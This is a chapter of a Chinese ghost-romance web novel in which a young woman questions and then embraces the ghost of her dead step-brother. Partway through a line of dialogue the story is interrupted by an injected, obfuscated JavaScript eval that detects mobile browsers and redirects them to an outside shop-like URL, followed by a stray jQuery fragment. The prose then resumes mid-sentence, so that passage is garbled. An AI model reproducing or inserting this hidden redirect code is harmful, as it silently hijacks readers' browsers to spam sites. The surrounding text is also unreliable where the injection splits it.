3. 03
作品:《死鬼[短篇]》 鬼没有呼吸,可是说话却好似有气息。
许思哲在身后抱住她,熟悉到的味道像一层薄纱,轻轻盖在肌肤上,又痒又凉,摩挲着她脆弱的脖颈。
腰肢被结实的手臂环绕,谭月珂的指尖:习惯性地落在许思哲的手臂上。
好熟悉的动作。
谭月珂想起从前在沙发上坐着时总是喜欢拿许思哲当肉垫靠背。
她喜欢将冷气开得十足,冷到在客厅要盖小毛毯的温度才觉得舒服,可是一冷了就要黏糊糊地凑到哥哥身前。
许思哲也习惯把她抱到身前,让她靠着自己坐下。一边帮她盖上毛毯,一边梳着她有些炸毛的长发,又或者是将刚做好的水果捞一块块喂到她口中。
谭月珂不知不觉将整个掌心都贴到了他的手臂上,她感觉不到他身上暖烘烘的气息了。
她吸了吸鼻子,却又好在能感觉到他身上熟悉的令人安心的香味。
她垂下头,傍晚的马尾辫不知何时解开,散落的长发坠落而下,发丝扫过两人的手臂,漾起几分痒意。
味道也是是承载记忆的载体,被哥哥身上气味包裹住的这一刻,仿佛模糊了时间的界限。
谭月珂一时之间甚至不知道今夕是何年。总觉得好像回到小时候,回到要被哥哥抱着才能睡着的时期。
“哥哥……”她嗫嚅着。
许思哲身子一僵,慢悠悠地将埋在她脖颈间的脸扬起,高挺的鼻梁抵在她的肌肤上,“哥哥一直都在。”
感觉到他的动作,谭月珂又渐渐清醒过来。
她的意识一直在告诉她,这就是许思哲,他的样貌他的说话的声音他身上的味道,都和哥哥一样。
哥哥说过要保护她一辈子的,所以哪怕死了,也会变成鬼魂回到她的身边。
可是她又觉得有些地方不对劲……
谭月珂想了许久,才想起来许思哲从前不会肆意抱她,不会随意地做出亲吻她指尖的动作。
她一直觉得他对她是亲昵,但不是暧昧。
可从自己晕倒醒来后,许思哲说话做事都太过直白,明明很像哥哥,又很不像哥哥。
如果不是她体质特殊,谭月珂是不会相信这世上的鬼神之说,而也正是她体质特殊,她才会觉得自己永远都见不到许思哲了。
毕竟这两年里,她连梦境中都未曾见过许思哲一面,怎会这样轻而易举地见到许思哲。
谭月珂很早就告诉自己,她没有哥哥了。
她回头,挣脱开他的怀抱。
“你不是哥哥。”谭月珂默默后退了两步。
许思哲直起身,静默地看着她,他垂下眼睫,扫过她后退的动作。
他蹙眉,哪怕是亮了灯光,他的眼睛依旧深不见底,漆黑的眼珠嵌在死白的眼球上,他温和地笑着:“小珂,你这是什么意思?”
“你怎么证明你是许思哲?”
谭月珂望着那张许久不见的面庞,望着那张想要做梦都能梦见的脸,此刻的心却沉静得如同毫无波澜的死水。
“这世上鬼都有了,万一有坏鬼假扮我哥呢,你很奇怪,你到底是谁?”
许思哲微微弯下腰身,将视线与她的齐平,“小珂,你是觉得我的样子不像从前了吗,我死时的模样有些难看,总不能用死时的模样对着你吧。”
谭月珂靠在墙上,抿唇不语。
许思哲轻叹一声,如数家珍般道:“你后腰上有一颗痣,左臂内侧也有一颗小痣,十八岁那年做过阑尾炎手术腹部有一条小疤痕,右腿腘窝处有一颗痣,左手食指上有一条疤痕,是自己切苹果时不小心切到的,后来你就没切过苹果了……”
他一边说着,一边悄然往谭月珂的方向挪去,将两人的距离拉近。
谭月珂咬着唇,下意识撇了眼左手食指上的疤,她的眼瞳聚着光:“我刚刚晕倒后,不知道怎么被你带来这里,谁知道你是不是趁人之危在我晕倒的时候看过我身上有什么标志了。”
“小珂,怎么把我想得这么坏?”许思哲的语气好像带上了几分落寞,谭月珂睁开眼对他说的第一句话就是“哥哥”。
就像他第一次见到她时,她对他说的第一句话也是“哥哥”。
那时她还没上小学,靠在妈妈的身侧,懵懵地看着他,抬头用自以为是的气音问道:“妈妈他是谁?”
得到妈妈的答复后,扯着妈妈的衣摆,对着当时的他语调平平,没什么感情地喊了一声:“哥哥。”
实际上谭月珂已经在脑子里想好第二天可以和好朋友炫耀自己有哥哥了。
可现在她却不认得他了。
“小珂,是哥哥的错,哥哥没能给你托梦,两年了才让你知道我没有彻底在这世上消失,你不认我是应该的。”
“小珂是觉得我现在的性格与从前不同?”许思哲实在是太了解她,也太了解自己看,他很快知道小珂到底在怀疑什么。
他低眉,黑色的长睫挡住幽深的双眼。
“死了之后三魂六魄不全了,小珂,这个你应该是知道的。”
谭月珂怔愣半晌,才想起来,人死后三魂六魄不全,鬼魂说话做事的风格并不会与生前完全一致。
具体表现为鬼魂可以不用考虑那么多绕绕弯弯的事,可以更直白的说话做事,可以永远遵从本心。
都是死过一次的人了,没有任何值得顾虑的事情。
所以见她醒来,许思哲的第一反应是继续抱着她。
谭月珂扣着手指,她实在是太想许思哲了,可是直到现在,她都不知道自己是不是被困在梦境中,还是被困在幻境中,她真的不知道自己现在要做什么。
“小珂,别怕我。”
许思哲轻轻地握住她的手腕,感觉她似乎被凉得轻颤了颤,“别怕我。”
“我还知道你喜欢粉紫色,喜欢吃煎牛扒,喜欢喝排骨汤但不喜欢吃排骨,最喜欢的娃娃是一个云朵形状的娃娃……小珂只属
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971165|193438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于我们之间的约定和秘密太多了,小珂想要考验我也可以尽管问我,只要让你确切知道我就是哥哥,让我做什么都可以。”
他握着她的手,将她的指尖覆在自己的脸上,“你摸摸,是不是哥哥生前的模样。”
谭月珂不知不觉地用指尖抚过他的脸颊,刚刚还没开灯的时候,总觉得许思哲是阴森森的白。
可现在在灯下瞧着,却不是她想象中的惨白,只是比生前人模样的许思哲要白一些。
她指尖最后落在他额角的的痣上。
“哥哥……”
“嗯,小珂应该还记得我左侧胸口有个浅红色的胎记。”
“嗯?”
谭月珂确实记得,只是还没等她反应过来,许思哲已经抬起手解开上衣的纽扣,上衣敞开,浅红色的胎记在健硕的胸肌上,被衣物遮得若隐若现。
谭月珂抿着唇,不知为何有些口干舌燥。她明明见过许思哲这胎记,也不是没见过他裸着的上半身,但是脑子里还是下意识感叹了一句她哥身材真好。
她下意识将手贴在他的胸前,“你真的是哥哥,可是为什么……”
“为什么?”许思哲又贴近了些,重新将她笼罩在怀中。
“你的胸好像变大了。”她眼睫眨得飞快,手还十分实在地掐了一下。
许思哲抿着唇,险些被闷哼出声,“是吗?”
谭月珂的眼睛亮了亮,她从前发现许思哲开始健身之后,就总是好奇心旺盛地在他训练痕迹明显又好看的肌肉上摸一摸戳一戳,许思哲向来纵容她,她想怎么玩都陪她玩。
也是因为他从小到大过度纵容,才养成了谭月珂对他毫无边界的依赖和习惯。
哪怕她现在思绪乱如麻,这种刻入骨子中的亲近也一时难改。
“小珂……”他轻轻走近,索性将她抱到怀里。
谭月珂的手依旧屈着抵在他的胸膛上,掌心敏锐地感觉到熟悉的肌肉轮廓,是哥哥的声音,是哥哥的气味,是哥哥的样貌……
就连他的胸口,因为她好奇调皮地一掐紧绷起来的反应,也与记忆中如出一辙。
是哥哥,真的是他,不是她幻想的虚幻,不是恶鬼扮演的哥哥。
恐惧、疑惑以及今晚一切诡谲的经历,都被她暂时抛之脑后。
谭月珂倒在他温凉的怀里,双手揪着他的衣襟。
可是分明是应该觉得惊喜与高兴的时刻,她却觉得很委屈,自从许思哲过世,谭月珂太久没有彻底地外显自己的情绪。
她无法再克制自己的情绪,眼泪如决堤一般涌出,身子渐渐轻轻颤栗。
“小珂……”
许思哲感受到她的变化,收紧手臂的力量,“小珂,别哭,哥哥不是在吗,别哭。”
谭月珂咬了咬牙,摁着他的手臂,冷不丁地往他胸前咬去。
许思哲闷哼一声,胸前传来湿热的刺痛感,掌心贴在她的身后,“小,小珂……慢些。”

